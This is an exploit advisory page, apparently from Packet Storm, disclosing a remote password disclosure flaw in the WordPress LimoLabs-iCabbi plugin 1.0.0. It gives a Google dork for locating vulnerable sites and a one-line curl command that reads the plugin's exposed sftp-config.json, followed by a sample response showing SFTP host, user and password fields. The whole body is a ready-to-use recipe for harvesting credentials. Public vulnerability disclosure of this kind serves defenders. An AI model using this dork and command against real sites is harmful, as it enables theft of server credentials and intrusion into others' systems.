WordPress LimoLabs plugin version 1.0.0 suffers from a remote password disclosure vulnerability.
c40690f5e335f45bc0805e208c82b793e9896cc0d72026902b51b0c076eaf08a# Exploit Title: Wordpress Plugin LimoLabs-iCabbi Remote Password Disclosure
# Google Dork: inurl:"plugins/limolabs-icabbi"
# Date: 22/07/2018
# Exploit Author: Gabriel Lipski ( gabriel.lipski[AT]protonmail.com )
# Vendor Homepage: https://www.icabbi.com
# Tested on: Ubuntu 12.04.5 / Debian 9.4
* PoC:
$ curl http://<TARGET>/wp-content/plugins/limolabs-icabbi/sftp-config.json
* Response:
...
"host": "1.3.3.7",
"user": "foo",
"password": "bar",
"port": "22",
...
© 2022 Packet Storm. All rights reserved.
%7Cutmcsr%3D(direct)%7Cutmcmd%3D(none)){kind=small}
Follow us on Twitter
Follow us on Facebook
Subscribe to an RSS Feed